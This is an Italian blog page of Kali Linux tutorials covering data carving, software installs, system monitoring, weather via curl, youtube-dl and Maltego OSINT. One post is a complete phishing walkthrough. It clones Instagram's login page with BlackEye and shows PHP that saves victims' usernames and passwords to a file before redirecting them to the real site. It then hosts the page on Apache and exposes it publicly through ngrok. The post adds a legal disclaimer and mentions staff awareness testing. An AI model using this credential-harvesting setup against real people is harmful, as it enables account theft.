Visualizzazione post con etichetta Kali Linux. Mostra tutti i post
Visualizzazione post con etichetta Kali Linux. Mostra tutti i post

domenica 12 febbraio 2023

Linux: Data carving

Il data carving è una tecnica utilizzata per recuperare i dati da un supporto di memorizzazione, come un disco rigido o una scheda di memoria, in seguito a una cancellazione accidentale o intenzionale, oppure in caso di danneggiamento del supporto stesso. Il data carving consiste nell'analizzare l'immagine del supporto di memorizzazione per individuare i frammenti di dati ancora presenti e salvarli in una nuova posizione. Questa tecnica può essere utilizzata per recuperare file, immagini, video e altri tipi di dati ed è fondamentale anche nelle investigazioni digitali forensi.

Quando un file viene salvato su un disco rigido, viene suddiviso e scritto in contenitori logici detti cluster. Ogni cluster è composto da un certo numero di settori, che sono le unità di base di memorizzazione su un disco rigido. Il sistema operativo utilizza una File Allocation Table (FAT) o una Master File Table (MFT) per tenere traccia della posizione dei cluster sul supporto di memoria.

Ogni volta che un file viene salvato, il sistema operativo cerca una serie di cluster vuoti contigui che siano sufficienti per contenere tutti i dati del file. Una volta individuati, i cluster vengono marcati come utilizzati e i dati del file vengono scritti su di essi. Se un file è troppo grande e non ci sono cluster vuoti contigui in grado di contenerlo, viene diviso in più parti e memorizzato in cluster diversi e non contigui. Il sistema operativo utilizza la FAT o l'MFT per tenere traccia della posizione di ogni parte del file sulla memoria. In questo modo, quando si apre un file, il sistema operativo può riunire tutte le sue parti.

Quando si cancella un file questo non viene in realtà rimosso dall'hard disk; viene rimosso il suo riferimento nella struttura del file system e lo spazio occupato dal file viene classificato come spazio non allocato. Proprio sullo spazio non allocato in un sistema di storage (hard disk, pendrive, ecc) si applica il data carving per recuperare i file e catalogarli sulla base del loro header e footer (stringhe esadecimali all'inizio e fine del file). Per il riconoscimento del tipo di file si ricorre al database dei magic number (firme esadecimali). Il magic number è costituito da una serie di byte specifici (da 2 a 10 byte) solitamente posizionati all'inizio del file, che vengono utilizzati per identificarne il tipo. Ad esempio, un file JPEG avrà un magic number specifico (FF D8 FF EE) diverso da un file PNG (89 50 4E 47). Quasi tutti i formati di file sono identificati da un magic number

Data carving con Scalpel

Uno degli strumenti più utilizzati e molto apprezzato per il data carving è Scalpel (https://github.com/machn1k/Scalpel-2.0). Tale strumento è già presente in Kali Linux. Per installarlo su distribuzioni Linux derivanti da Debian è possibile utilizzare i seguenti comandi da terminale
sudo apt-get update
sudo apt-get install scalpel

Prima di avviare lo strumento è necessario andare a modificare il file di configurazione /etc/scalpel/scalpel.conf che ha tutte le righe commentate. In base alla tipologia di file che si intende recuperare è necessario andare a rimuovere il commento dalla relativa riga. 

Aprire il file di configurazione con un editor di testo. In Kali Linux è possibile utilizzare l'editor nano con il comando da terminale
sudo nano /etc/scalpel/scalpel.conf

Per recuperare un file PDF eliminato da una pendrive è necessario andare a rimuovere i commenti relativi ai tipi di file PDF (FIG 1) presenti nel file di configurazione. 
File di configurazione scalpel.conf
FIG 1 - File di configurazione scalpel.conf

Premere CTRL + X per uscire dall'editor e confermare la modifica premendo Y seguito da Invio.
Salva modifica del  file di configurazione
FIG 2 - Salva modifica del  file di configurazione


La sintassi di scalpel è la seguente
scalpel -c fileconfig.conf unità -o /percorso/file/output

Il percorso dell'output deve risiedere su un unità diversa da quella da cui si sta tentando di recuperare i dati. Per identificare la pendrive eseguire il comando
lsblk 
lsblk
FIG 3 - lsblk

Dalla FIG 3 si evince che la pendrive è stata montata come sdb1. Eseguire una finestra terminale come root ed avviare il data carving con il comando
scalpel -c /etc/scalpel/scalpel.conf /dev/sdb1 -o /home/kali/Desktop/Recover
Avvio data carving con scalpel
FIG 4 - Avvio data carving con scalpel
Il comando creerà una cartella Recover sul Desktop contenente un file audit.txt (in cui saranno elencati eventuali file recuperati e altre informazioni sul processo) e una cartella contenente i file recuperati.
Risultati del data carving di scalpel
FIG 5 - Risultati del data carving di scalpel

File audit.txt
FIG 6 - File audit.txt

File recuperati da scalpel
FIG 7 - File recuperati da scalpel


Scalpel consente di effettuare il data carving anche su immagini di dischi virtuali (VDI, Virtual Disk Image) di VirtualBox. In questo caso il comando da eseguire sarà del tipo
scalpel -c /etc/scalpel/scalpel.conf /percorso/Immagine/file.vdi -o /home/kali/Desktop/Recover




mercoledì 9 febbraio 2022

Kali Linux: Installare TeamViewer

TeamViewer è una delle piattaforme per l'accesso ed il supporto remoto più note e utilizzate. In questo breve tutorial verrà mostrato come installarlo su Kali Linux.

Per l'installazione è possibile scaricare manualmente il pacchetto Debian (.deb) dal sito www.teamviewer.com oppure, come vedremo di seguito, installarlo tramite il repository APT di TeamViewer dopo averlo aggiunto a Kali Linux. 

Il primo passo consiste nell'aggiungere il repository di TemaViewer a Kali Linux e per farlo basta eseguire il seguente comando da Terminale
echo "deb http://linux.teamviewer.com/deb stable main" | sudo tee /etc/apt/sources.list.d/teamviewer.list

Aggiornare l'elenco dei pacchetti con il comando
sudo apt update
Configurazione repository TeamViewer e aggiornamento elenco pacchetti
FIG 1 - Configurazione repository TeamViewer e aggiornamento elenco pacchetti


Installare la chiave GPG di TeamViewer
sudo apt -y install gpg ca-certificates
wget -O - https://download.teamviewer.com/download/linux/signature/TeamViewer2017.asc | sudo apt-key add -
Chiave GPG
FIG 2 - Chiave GPG


Lanciare l'installazione di TeamViewer
sudo apt update
sudo apt install teamviewer
Avvio installazione TeamViewer
FIG 3 - Avvio installazione TeamViewer

Ricercare TeamViewer utilizzando l'apposita funzione di Desktop Launcher e avviarlo oppure eseguire il comando teamviewer da Terminale
Avvio TeamViewer
FIG 4 - Avvio TeamViewer

Accettare l'EULA e cliccare su Continue.
EULA
FIG 5 - EULA

Ci ritroveremo dinanzi ad una finestra come quella mostrata in FIG 6.
TeamViewer
FIG 6 - TeamViewer








lunedì 31 gennaio 2022

Kali Linux: Rubare credenziali di accesso ad un sito Internet tramite phishing

In quest'articolo vedremo come sia semplice mettere su un sito di phishing per rubare le credenziali di un utente sprovveduto. Tali operazioni vengono eseguite anche da alcune aziende al fine di verificare se i propri impiegati abboccano alle email e ai siti di phishing. 

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Preparazione sito phishing

Il primo passo consiste nel clonare il sito, o almeno la pagina di autenticazione, di nostro interesse. L'operazione può essere eseguita in diversi modi, manualmente, tramite il classico comando wget, sfruttando tool come httrack, utilizzando Social-Engineer Toolkit (SET) incluso in Kali Linux, ecc.  In quest'articolo, per semplicità, verrà utilizzato il tool BlackEye che ci consentirà di raggiungere il nostro obiettivo in maniera più rapida dato che integra le pagine di logon dei siti più popolari come Instagram, Facebook, Apple, Twitter, Twitch , ecc.

Per scaricare il tool, eseguire il seguente comando da una finestra terminale
git clone https://github.com/An0nUD4Y/blackeye.git
Download BlackEye
FIG 1 - Download BlackEye
Supponiamo di essere interessati alla pagina di logon di Instagram. Visualizziamo il contenuto della cartella /home/kali/blackeye/sites/instagram. Come visibile in FIG 2 la cartella contiene 5 elementi: la sottocartella index_files, contenente immagini e altri file relativi alla pagina fake, e 4 file (index.php, ip.php, login.html, login.php)
Login Instagram
FIG 2 - Login Instagram

Apriamo il file index.php ed esaminiamo il suo contenuto
<?php
include 'ip.php';
header('Location: login.html');
exit
?>
Instagram, Index.php
FIG 3 - Instagram, Index.php
Nel codice notiamo che la prima operazione eseguita è l'inclusione del file ip.php
La funzione header() viene utilizzata per inviare un'intestazione HTTP raw e tramite Location viene specificato il nome del file da richiamare.
Eliminare dal codice la riga 2 
include 'ip.php';
che non ci interessa e salvare il file. Il suo contenuto dopo la modifica sarà:
<?php
header('Location: login.html');
exit
?>

Aprire il file login.html tramite il browser per trovarsi dinanzi ad una copia della pagina di login di Instagram. Per analizzare il funzionamento della pagina clone all'inserimento delle credenziali, attivare l'inspector premendo il tasto F12. Cliccare, con il tasto destro del mouse, sul pulsante Log in e selezionare Inspect Element
Browser, Inspect Element
FIG 4 - Browser, Inspect Element

Analizzando il codice della pagina, vediamo che il testo digitato dall'utente nel campo Phone number, username, or email verrà assegnato alla variabile chiamata username
<input type="text" class="_ph6vk _jdqpn _o716c" id="fa4e2a34ab06a" aria-describedby="" placeholder="Phone number, username, or email" aria-required="true" autocapitalize="off" autocorrect="off" maxlength="30" name="username" value="">
Allo stesso modo il contenuto del campo Password verrà assegnato alla variabile password.
<input type="password" class="_ph6vk _jdqpn _o716c" id="faa2da1ad083" aria-describedby="" placeholder="Password" aria-required="true" autocapitalize="off" autocorrect="off" name="password" value="">

Una cosa che balza subito all'occhio è che la maschera di login viene gestita con il form _3jvtb e, cliccando sul pulsante Log in, viene richiamato il file login.php
<form class="_3jvtb" action="login.php" method="POST">
Form
FIG 5 - Form

Ritorniamo alla cartella /home/kali/blackeye/sites/instagram e analizziamo il contenuto del file login.php:
<?php

file_put_contents("usernames.txt", "Account: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://instagram.com');
exit();
Il codice presente nel file è molto semplice. Tramite la funzione file_put_contents le variabili username e password contenenti le credenziali sottratte alla vittima tramite phishing, vengono salvate all'interno del file usernames.txt. A questo punto la funzione header reindirizzerà il browser della vittima verso il sito Instagram ufficiale (https://instagram.com).
login.php
FIG 6 - login.php

Avviare una finestra terminale come root e posizionarsi sulla cartella /home/kali/blackeye/sites/instagram con il comando
cd /home/kali/blackeye/sites/instagram
Creare il file usernames.txt eseguendo
echo Phishing data > usernames.txt
Assegnare i permessi completi con il comando
sudo chmod 777 usernames.txt 

Per pubblicare il sito fake sulla nostra macchina Linux dobbiamo spostare tutti i file in /var/www/html. Dalla stessa finestra terminale eseguire il comando
cp index_files/ -r index.php login.html login.php usernames.txt /var/www/html
Avviare il servizio Apache con il comando
service apache2 start
Copia file e avvio del servizio Apache
FIG 7 - Copia file e avvio del servizio Apache

All'interno della nostra rete locale la pagina fake sarà raggiungibile ad un indirizzo del tipo 
http://192.168.1.120/login.html 
dove 192.168.1.120 è l'indirizzo IP della nostra macchina Kali Linux. Per fare in modo che la pagina sia raggiungibile anche dall'esterno della rete locale possiamo utilizzare il servizio ngrok

Rendere il sito di phishing raggiungibile da Internet

Il servizio Ngrok consente di rendere raggiungibile i server locali, anche dietro NAT e firewall, su Internet attraverso il tunneling. Per usufruire del servizio dobbiamo registrarci al sito e scaricare il software per la nostra piattaforma.

La registrazione al sito richiede pochi istanti. Una volta cliccato su Sign up presente sulla homepage https://ngrok.com, basta digitare il nome desiderato, una password e fornire un indirizzo email valido su cui verrà inviata un'email per confermare la propria registrazione. 
Una volta eseguito il login, accedere alla sezione Your Authtoken e prendere nota del proprio authtoken

ngrok authtoken
FIG 8 - Ngrok authtoken


Da browser accedere alla pagina ufficiale del tool per il download https://ngrok.com/download.
Selezionare Linux quindi cliccando con il tasto destro del mouse su Download, copiamo il link e usiamo wget per scaricare il file. Il comando da eseguire da Terminale sarà analogo al seguente
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.tgz
sito Ngrok
FIG 9 - Sito Ngrok

Download di Ngrok
FIG 10 - Download di Ngrok

Sempre da Terminale, scompattare il file tgz scaricato con il comando
tar zxvf ngrok-stable-linux-amd64.tgz
Autenticare il proprio agent Ngrok tramite l'Authtoken utilizzando il comando
./ngrok authtoken xxxx
al posto di xxxx va indicato l'Authtoken visto nei passaggi precedenti.
Per avviare ngrok e abilitare il traffico HTTP tramite la porta 80 (quella utilizzata dal server Apache avviato precedentemente) digitare ed eseguire da terminale il comando
./ngrok http 80
Sessione Ngrok
FIG 11 - Sessione Ngrok

A questo punto, la nostra pagina fake sarà raggiungibile anche all'esterno della nostra rete locale con l'indirizzo pubblico fornito da Ngrok ed evidenziato nei campi Forwarding. In pratica viene effettuato un forward della porta e viene settato un tunnel: dalla porta 80 della nostra postazione verso l'indirizzo pubblico http://b46f-79-19-195-242.ngrok.io (FIG 10). Per fare in modo che venga visualizzata la nostra pagina fake dobbiamo aggiungere all'indirizzo il nome del file contenente la pagina. Nel nostro caso l'indirizzo completo sarà http://b46f-79-19-195-242.ngrok.io/login.html.

Quando la vittima inserirà le proprie credenziali queste verranno memorizzate all'interno del file usernames.txt
Credenziali rubate
FIG 12 - Credenziali rubate








mercoledì 26 gennaio 2022

Kali Linux: Installare PowerShell

Per installare PowerShell in Kali Linux eseguire, dalla finestra Terminale, i seguenti comandi
sudo apt update
sudo apt -y install powershell
Kali Linux, installare PowerShell
FIG 1 - Kali Linux, installare PowerShell

Al termine dell'installazione del pacchetto basterà eseguire pwsh per avviare PowerShell e trovarsi dinanzi al familiare prompt "PS".


Disinstallazione

Per disinstallare PowerShell basta eseguire dalla finestra Terminale il comando
sudo apt-get remove powershell
Per rimuovere PowerShell e le sue dipendenze il comando da eseguire è
sudo apt-get -y autoremove powershell





sabato 22 gennaio 2022

Kali Linux: Installare Visual Studio Code

Visual Studio Code è un editor di codice sorgente gratuito sviluppato da Microsoft per i sistemi Windows, Linux e macOS. Combina la semplicità di un editor di codice sorgente con potenti strumenti di sviluppo, come il completamento del codice IntelliSense e il debug. Si tratta di uno strumento molto apprezzato tra gli sviluppatori e in questo breve articolo vedremo come installarlo in ambiente Kali Linux. Per l'installazione utilizzeremo il repository ufficiale APT prima, però, aggiorniamo il repository e installiamo il package indicato di seguito
sudo apt update
sudo apt install curl gpg software-properties-common apt-transport-https
Aggiornamento repository e installazione package
FIG 1 - Aggiornamento repository e installazione package


Importiamo la chiave Microsoft GPG in Linux con il comando
curl -sSL https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -

Il prossimo passo consiste nell'aggiungere il repository APT per Visual Studio Code a Kali Linux
echo "deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main" | sudo tee /etc/apt/sources.list.d/vscode.list
Aggiungere repository per Visual Studio Code
FIG 2 - Aggiungere repository per Visual Studio Code

Infine avviare l'installazione con i comandi
sudo apt update
sudo apt install code
Installazione Visual Studio Code
FIG 3 - Installazione Visual Studio Code

L'installazione non richiede molto tempo ma dipende dalla velocità di connessione ad Internet. Terminata l'installazione eseguire Visual Studio Code con il comando
code
Visual Studio Code per Kali Linux
FIG 4 - Visual Studio Code per Kali Linux








domenica 9 gennaio 2022

Kali Linux: Monitoraggio di sistema tramite Bpytop

Il monitoraggio di sistema è un operazione importante sia per l'amministratore del sistema che per gli utenti. Sapere quali sono i processi in esecuzione, le risorse della CPU impegnate e la quantità di memoria utilizzata può essere fondamentale per individuare colli di bottiglia, problemi sul sistema o relativi al software in esecuzione. Un metodo veloce per ottenere tali informazioni è quello di eseguire, da una finestra terminale, il comando top che visualizza dettagli importanti sui task in esecuzione. Come spesso capita con gli strumenti a riga di comando in Linux, la rappresentazione grafica dell'output non aiuta nell'interpretazione dei dati. 
top
FIG 1 - top
Se si desidera un'esperienza più grafica e immediata è possibile adottare Bpytop come strumento di monitoraggio. Bpytop visualizza più informazioni rispetto a top inoltre la rappresentazione grafica dell'utilizzo della CPU e di tutti i core, gli istogrammi colorati relativi all'utilizzo della memoria e dello spazio su disco rendono la lettura dei dati più immediata e semplice. L'estetica, la personalizzazione, la possibilità di filtrare i dati e il supporto per il mouse rendono tale strumento adatto sia all'utente inesperto che a quelli avanzati.

Prima di poter utilizzare tale strumento nella distribuzione Kali Linux va installato. Per l'installazione tramite pip3 basta eseguire i seguenti comandi da terminale
sudo apt install python3-pip
sudo pip3 install bpytop
Install python3-pip
FIG 2 - Install python3-pip

Install bpytop
FIG 3 - Install bpytop


Terminata l'installazione, per eseguire il tool digitare il comando
bpytop 

bpytop
FIG 4 - bpytop


Per ulteriori informazioni e per la documentazione di tale strumento è possibile consultare la pagina https://github.com/aristocratos/bpytop.






giovedì 16 dicembre 2021

Kali Linux: Controllare lo spazio su disco da terminale

Per controllare l'utilizzo dello spazio su disco da terminale ci sono due comandi classici disponibili per ogni distribuzione Linux: du e df.

Il comando du (Disk Usage) visualizza lo spazio utilizzato dai file o da una directory. Ad esempio, per sapere lo spazio utilizzato dalla directory corrente è possibile utilizzare il comando
du -sh
dove l'opzione -s riassume lo spazio che una directory sta utilizzando e l'opzione -h fornisce un output "Human-readable".
Disk Usage
FIG 1 - Disk Usage


Il comando df (Disk Free) viene usato per controllare lo spazio libero su disco. Tramite df è possibile visualizzare le statistiche sulla quantità di spazio libero su disco, sul file system specificato o sul file system contenente il file indicato. Digitando da terminale il seguente comando
df -h
verranno visualizzate le statistiche sulla quantità di spazio libero/utilizzato su disco.
Disk Free
FIG 2 - Disk Free

L'output fornito dai comandi du e df non è facile da leggere. Una valida alternativa ai due comandi integrati in Linux è duf (Disk Usage/Free), un tool che di fatto è il coltellino svizzero degli strumenti di visualizzazione dell’uso dei dischi basato sulla shell.
Per installare tale strumento in Kali Linux, eseguire da una finestra terminale  il comando
sudo apt install duf

Terminata l'installazione basta eseguire il tool con il comando da terminale
duf
per visualizzare in una modalità più User-friendly, le statistiche relative allo spazio su disco.
duf, Disk Usage/Free
FIG 3 - duf, Disk Usage/Free

Per visualizzare tutti i comandi/parametri disponibili in duf eseguire
duf --help







mercoledì 8 dicembre 2021

Kali Linux: Previsioni meteo nella shell con Curl

Per avere informazioni sul meteo basta consultare uno dei numerosi siti di previsioni, app o assistenti personali. In questo articolo verrà mostrato come recuperare tali informazioni in ambiente Linux senza uscire dalla shell e utilizzando lo strumento Curl.

Curl è uno strumento da terminale molto sofisticato e utilizzato per ricevere o inviare dati usando la sintassi URL. Viene spesso utilizzato per gestire le connessioni SSL, post HTTP e per caricare dati in FTP. Grazie a Igor Chubin e al suo sito wttr.in è possibile utilizzare Curl anche per visualizzare le previsioni meteo all'interno della shell.

Eseguendo il seguente comando dalla finestra terminale
curl wttr.in
verranno visualizzate le previsioni meteo dei prossimi tre giorni della nostra area (identificata in base all'indirizzo IP). Come visibile in FIG 1, per ciascun giorno viene fornita la previsione divisa in quattro fasce orarie: mattina, pomeriggio, sera e notte. Vengono visualizzate, inoltre, informazioni relative alla nuvolosità, all'escursione termica, velocità del vento ed eventuali millimetri di pioggia prevista. Le informazioni sono ben ordinate e arricchite da un'illustrazione ASCII.
Previsioni meteo
FIG 1 - Previsioni meteo

Per conoscere le previsioni meteo di un'altra città basta far seguire all'URL di base il suo nome. Ad esempio, per conoscere le previsioni meteo di Londra basta eseguire
curl wttr.in/London
Previsione meteo di altra città
FIG 2 - Previsione meteo di altra città

Se dobbiamo prendere l'aereo e vogliamo conoscere le previsioni meteo su un determinato aeroporto basta far seguire all'URL base il relativo IATA airport code.
Uno IATA airport code (noto anche come IATA location identifier o IATA station code) è un geocodice di tre lettere, definito dalla International Air Transport Association (IATA), che identifica molti aeroporti e aree metropolitane in tutto il mondo. Ad esempio per conoscere le previsioni relative all'aeroporto di Fiumicino (Roma) basta digitare il comando
curl wttr.in/FCO
per l'aeroporto John F. Kennedy di New York il comando diventa
curl wttr.in/JFK
Previsione meteo aeroporto Fiumicino (Roma)
FIG 3 - Previsione meteo aeroporto Fiumicino (Roma)

Tramite Curl e wttr.in è possibile visualizzare anche le informazioni relative alle fasi della luna. Per scoprire in che fase si trova la luna nella data odierna eseguire il comando
curl wttr.in/moon
Fase lunare
FIG 4 - Fase lunare
Per conoscere la fase lunare di un determinato giorno, aggiungere all'URL la data desiderata nel formato @anno-mese-giorno
curl wttr.in/moon@2021-12-25
Fase lunare in uno specifico giorno
FIG 5 - Fase lunare in uno specifico giorno


Per maggiori informazioni sull'utilizzo di wttr.in è possibile visualizzare la pagina help online tramite il comando
curl wttr.in/:help
Pagina Help di wttr.in
FIG 6 - Pagina Help di wttr.in







lunedì 8 novembre 2021

Kali Linux: Scaricare video da Youtube tramite riga di comando

Per automatizzare il download di video da youtube o da altri siti può essere comodo operare da riga di comando. In nostro soccorso arriva il programma youtube-dl che consente di scaricare video da youtube e da altri siti direttamente da riga di comando. L'elenco dei siti supportati può essere visualizzato  QUI'.

Installazione

Il primo passo consiste nell'installare youtube-dl in Kali Linux. Per farlo basta eseguire il seguente comando da Terminale
sudo apt-get install youtube-dl
Avvio Installazione youtube-dl
FIG 1 - Avvio Installazione youtube-dl


Parametri

Terminata l'installazione potremmo visualizzare l'elenco dei numerosi parametri supportati tramite il comando
youtube-dl -h


Esempi

Esempio 1
Per scaricare un video, digitare l'URL dopo il comando
youtube-dl [percorso del video]
ad es.
youtube-dl https://www.youtube.com/watch?v=tAGnKpE4NCI&ab_channel=Metallica
Download video da youtube
FIG 2 - Download video da youtube

Esempio 2
Per elencare i formati disponibili si utilizza il parametro -F
youtube-dl -F https://www.youtube.com/watch?v=tAGnKpE4NCI&ab_channel=Metallica
Formati audio-video disponibili
FIG 3 - Formati audio-video disponibili
come visibile in FIG 3, in questo caso il formato video con qualità migliore è quella con Format code 18 (best). Per scaricare il video in un particolare formato basta passare al parametro -f il relativo format code
youtube-dl -f 18 https://www.youtube.com/watch?v=tAGnKpE4NCI&ab_channel=Metallica
per scaricare sempre la versione migliore al parametro -f va passata la stringa best
youtube-dl -f best https://www.youtube.com/watch?v=tAGnKpE4NCI&ab_channel=Metallica
Download video con qualità migliore
FIG 4 - Download video con qualità migliore


Esempio 3
Scarica il miglior formato video e il miglior formato audio se disponibili e li unisce in un unico file mp4
youtube-dl -f 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/bestvideo+bestaudio' --merge-output-format mp4 https://www.youtube.com/watch?v=tAGnKpE4NCI&ab_channel=Metallica







giovedì 21 ottobre 2021

Kali Linux: Introduzione a Maltego

Maltego è un software, sviluppato da Paterva, che viene utilizzato per l'Open Source INTelligence (OSINT), quella disciplina dell'intelligence che si occupa della ricerca, raccolta ed analisi di dati e di notizie d'interesse pubblico tratte da fonti aperte. In tale contesto, infatti, il termine Open Source si riferisce a fonti pubbliche e liberamente accessibili e non ha nulla a che fare con il software libero (Open Source Software).
Maltego
FIG 1 - Maltego

Il software, disponibile per diverse piattaforme come Windows, Mac e Linux, utilizza un framework potente e flessibile che rende possibile un'elevata personalizzazione. L'interfaccia grafica rende semplice l'utilizzo di questo potente e complesso software. I risultati vengono raggruppati in un formato grafico comprensibile anche ai non addetti ai lavori e in cui vengono evidenziate le interconnessioni tra gli elementi cercati. Maltego può essere utilizzato per determinare le relazioni e i collegamenti con il il mondo reale tra:
  • Persone
  • Gruppi di persone (social network)
  • Aziende/Organizzazioni
  • Siti web
  • Infrastruttura Internet come: Domini, Nomi DNS, Netblocks, Indirizzi IP
  • Affiliazioni
  • Documenti e file


Di seguito verrà illustrato come raccogliere informazioni su un particolare dominio utilizzando la versione di Maltego inclusa in Kali Linux.

Configurazione di Maltego al primo avvio

  • Dal menu Application selezionare 01 - Information Gathering quindi cliccare su Maltego.

    Kali Linux, Avvio Maltego
    FIG 2 - Kali Linux, Avvio Maltego

  • Al primo avvio viene richiesto di selezionare la versione del prodotto da avviare.
    Maltego One (a pagamento): soluzione unificata per professionisti e imprese.
    Maltego XL (a pagamento): è la soluzione premium di Paterva per la visualizzazione di grandi insiemi di dati e consente di visualizzare più di 10000 entità in un singolo grafico.
    Maltego Classic (a pagamento): è la versione commerciale di Maltego che permette agli utenti di visualizzare fino a 10000 entità in un grafico.
    Maltego CE (gratuita): Maltego CE (Community Edition) include la maggior parte delle funzionalità della versione commerciale, tuttavia, ha alcune limitazioni. La limitazione principale è che l'edizione CE non può essere usata per scopi commerciali e il numero massimo di entità restituite è limitato.
    Maltego CaseFile (gratuito): CaseFile è la risposta di Maltego al problema dell'intelligence offline, permette agli analisti di esaminare i collegamenti tra i dati offline.
    In questo articolo utilizzeremo la Community Edition. Cliccare su Maltego CE.
    Maltego, Product Selection
    FIG 3 - Maltego, Product Selection


  • Accettare i termini di licenza spuntando l'apposita casella e cliccare su Next.
    Licenza Maltego
    FIG 4 - Licenza Maltego

  • Se non si dispone di un account Maltego, cliccare sul link register here e procedere alla registrazione (l'operazione è velocissima), quindi proseguire con il login.
    Maltego Login
    FIG 5 - Maltego Login

  • Nella successiva schermata viene visualizzato l'esito del login. Cliccare su Next.
    Maltego Login result
    FIG 6 - Maltego Login result

  • Nella finestra successiva vengono visualizzate informazioni sull'installazione/aggiornamento delle trasformate (moduli personalizzabili utilizzati per la ricerca e l'aggregazione intelligente). Cliccare su Next per proseguire.
    Maltego Install Transforms
    FIG 7 - Maltego Install Transforms

  • Verrà richiesto se si intende contribuire al miglioramento di Maltego inviando i report di errore. In caso affermativo spuntare la casella Automatically send Error Reports. Cliccare su Next per proseguire.
    Help Improve Maltego
    FIG 8 - Help Improve Maltego

  • Selezionare il browser da utilizzare per l'apertura dei web link mostrati in Maltego. Lasciare <Default System Browser> se si intende utilizzare il browser predefinito. Cliccare su Next.
    Maltego Web Browser
    FIG 9 - Maltego Web Browser

  • In questa fase l'utente è chiamato a selezionare la modalità privacy (Privacy Mode) desiderata: Normal o Stealth. La modalità Normal permette a Maltego di recuperare alcuni tipi di dati direttamente da Internet. D'altra parte, la modalità Stealth di Maltego blocca completamente il download di qualsiasi dato da Internet. Selezionare la modalità desiderata e cliccare su Next.
    Maltego Privacy Mode
    FIG 10 - Maltego Privacy Mode

  • Nell'ultimo passaggio è possibile selezionare la visualizzazione di un grafico vuoto, di un grafico di esempio oppure visualizzare direttamente l'interfaccia del programma. Selezionare l'opzione Go away, I have done this before! e cliccare su Finish. La fase di configurazione è a questo punto conclusa.
    Fine configurazione
    FIG 11 - Fine configurazione



Raccogliere informazioni su un dominio

Per raccogliere informazioni su un dominio è necessario decidere che tipo di Macchine (Machines) si intende eseguire contro l'obiettivo. In Maltego una macchina indica il tipo di footprint (impronta) che si intende impostare per i risultati della scansione.
  • Cliccare sul menu Machines quindi selezionare Run Machine.
    Run Machine
    FIG 12 - Run Machine

  • Selezionare il tipo di macchina da utilizzare per il footprinting. Per raccogliere informazioni su un dominio possiamo scegliere tra 3 macchine che variano per profondità di esplorazione:
    Footprint L1 - Questa è la macchina di footprinting più semplice. Non vengono analizzate infrastrutture condivise o record DNS storici. Il grafico prodotto contiene i Netblock, gli Internet Service Provider, altri domini, indirizzi e-mail, server DNS e server di posta utilizzati dal dominio che si sta analizzando.
    Footprint L2 - La macchina L2 include tutte le trasformazioni delle macchine L1 e in più vengono ricercati ulteriori domini relativi al dominio originale attraverso l'infrastruttura condivisa dei suoi name server (NS) e mail server (MX). La macchina cercherà anche altri siti web ospitati sugli stessi indirizzi IP. I filtri utente inclusi in questo tipo di macchina richiedono all'utente di ispezionare manualmente i risultati e decidere con quali name server, mail server e siti web continuare. Questo viene fatto per evitare che la macchina cerchi infrastrutture condivise su nomi DNS che non sono ospitati dall'obiettivo.
    Footprint L3 - la macchina L3 esegue le stesse trasformazioni di Footprint L2 ma in più analizza i record DNS storici/inversi sui netblock per trovare ulteriori nomi DNS appartenenti al target. Anche in questo caso, la macchina utilizzerà i filtri utente per consentire all'utente di specificare quali dei netblock sono ancora rilevanti. Footprint L3 eseguirà anche una Trasformazione chiamata ToServerTechnologyWebsite sulle entità del sito web selezionato sul grafico e restituisce il nome delle diverse tecnologie del server che sono utilizzate. L'esecuzione di questa trasformazione fornisce un modo semplice per identificare quali tecnologie sono utilizzate comunemente in molti dei siti web dell'obiettivo, così come gli outlier - le tecnologie (a volte più obsolete) che vengono utilizzate solo su uno o due server.

    Selezionare Footprint L3 e cliccare su Next.

    Footprint L3
    FIG 13 - Footprint L3

  • Specificare il dominio target e cliccare su Finish.
    Dominio target
    FIG 14 - Dominio target

  • Una finestra di dialogo ci avviserà che i risultati prodotti dalla nostra versione di Maltego CE sono limitati. Selezionare la casella Don't show again e cliccare su OK.
    Results Limited
    FIG 15 - Results Limited

  • Dopo una breve analisi apparirà la finestra di dialogo del filtro utente in cui bisogna indicare quale record MX, tra quelli trovati, prendere in considerazione. Effettuata la selezione proseguire cliccando su Next.

    Filtro utente, record MX
    FIG 16 - Filtro utente, record MX

  • In maniera analoga a quanto fatto con il filtro utente nel passo precedente, selezionare i record NS rilevanti e cliccare su Next.
    Filtro utente, record NS
    FIG 17 - Filtro utente, record NS

  • Selezionare i domini che si intende includere nella raccolta informazioni e cliccare su Proceed with these.
    Filtro utente, domini
    FIG 18 - Filtro utente, domini

  • Al termine dell'analisi verrà visualizzato il grafico con le informazioni raccolte. Ingrandendo il grafico saranno visibili maggiori dettagli/collegamenti.
    Maltego, grafico
    FIG 19 - Maltego, grafico


    Dettagli grafico
    FIG 20 - Dettagli grafico